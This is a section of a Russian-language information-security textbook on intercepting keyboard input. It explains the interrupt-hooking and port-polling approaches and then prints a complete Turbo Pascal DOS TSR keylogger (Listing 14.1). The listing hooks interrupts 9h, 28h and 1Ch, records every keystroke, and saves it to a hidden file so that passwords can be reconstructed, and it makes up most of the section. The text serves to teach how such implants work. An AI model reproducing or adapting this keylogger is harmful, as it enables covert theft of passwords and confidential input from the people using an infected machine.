Методы и средства защиты информации

Перехват ввода с клавиатуры


Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура является основным устройством управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т.д.

Перехват может производится двумя основными способами:

  • встраивание в цепочку прерывания int 9h;
  • анализом содержания клавиатурного порта или буфера по прерыванию от системного таймера.
  • Работа закладки основывается на полном сохранении всех нажатий (отжатий) клавиш в файле. Файл затем изучается, и на его основе злоумышленник, пытавшийся получить доступ к зашифрованным файлам, восстанавливает возможные парольные последовательности.

    Пример подобной закладки приведен в листинге 14.1.

    Листинг 14.1. Пример закладки, перехватывающей ввод с клавиатуры

    {$M 2048,0,0}

    {$F+}

    Uses Dos;

    const

     

    ArchiveName = 'C:\WINDOWS\USER.BIN';

     

    OldSS       : Word = 0;

     

    OldSP       : Word = 0;



     

    StackSW     : Integer = - 1;

     

    NewSS       : Word = 0;

     

    NewSP       : Word = 0;

    var

     

    Old9h          : Procedure;

     

    R              : Registers;

     

    DOSSeg, DOSOfs : Word;

     

    Tick, WaitBuf  : Integer;

     

    NeedPop        : Boolean;

     

    CBuf           : Word;

     

    KBuf           : array [1..255] of Byte;

    procedure BeginInt;

    inline($FF/$06/StackSW/

          

    $75/$10/

          

    $8C/$16/OldSS/

          

    $89/$26/OldSP/

          

    $8E/$16/NewSS/

    Продолжение листинга 14.1

           $8B/$26/NewSP);

    procedure EndInt;

    inline($FF/$0E/StackSW/

          

    $7D/$08/

          

    $8E/$16/OldSS/

          

    $8B/$26/OldSP);

    procedure CallPop(Sub: Pointer);

    begin

    inline($FF/$5E/$06);

    end;

    procedure CLI; inline($FA);

    procedure STI; inline($FB);

    procedure TSRCrap;

    var

     

    F: File;

    begin

     

    CLI;

     

    BeginInt;

     

    STI;

     

    NeedPop := False;

     

    Assign(F, ArchiveName);

     

    {$I-}

     

    Reset(F,1);

     

    {$I+}

     

    if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F));

     

    SetFAttr(F,ARCHIVE+HIDDEN);

     

    BlockWrite(F,KBuf,CBuf); { Запись содержимого буфера в файл }

     

    CBuf := 0;

     

    Close(F);



     Tick := 0;

     CLI;

     EndInt;

     STI;

    end;

    Продолжение листинга 14.1

    procedure RunTSR; interrupt;

    begin

     CLI;

     BeginInt;

     STI;

     Inc(Tick);

     if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then

     begin

      NeedPop := True;

      if Mem[DOSSeg:DOSOfs] = 0 then

      begin

       NeedPop := False;

       Port[$20]:=$20;

       TSRCrap;

      end;

     end;

     CLI;

     EndInt;

     STI;

    end;

    procedure Int28TSR; interrupt;

    begin

     CLI;

     BeginInt;

     STI;

     if NeedPop = True Then TSRCrap;

     CLI;

     EndInt;

     STI;

    end;

    procedure New9h;interrupt;

    { Новый обработчик прерывания 9h }

    var

     Tail     : Word absolute $40 : $1C;

     B:Boolean;

    begin

     B := Port[$60]<$80;

     inline($9C);

     Old9h;  { Вызов старого обработчика }

     if B and (Lo(MemW[$40:Tail])<>0) then

    Окончание листинга 14.1

      begin

       Inc(CBuf);

       if CBuf > 255 Then CBuf := 255;

       KBuf[CBuf]:=Lo(MemW[$40:Tail]); { Cохранение клавиши в буфере }

      end;

    end;

    procedure InitTSR;

    begin

     NewSS := SSeg;

     inline($89/$26/NewSP);

     R.AH := $34;

     MsDos(R);

     DOSSeg := R.ES;

     DOSOfs := R.BX;

    end;

    begin

     InitTSR;

     CBuf := 0;

     FillChar(KBuf,SizeOf(KBuf),0);

     WaitBuf := 5; { Задержка (сек) перед отправкой буфера в файл.}

     NeedPop := False;

     Tick    := 0;

     GetIntVec($9,@Old9h);

     SetIntVec($9,@New9h);

     SetIntVec($28,@Int28TSR);

    SetIntVec($1C,@RunTSR);

     Keep(0);

    end.


    Содержание раздела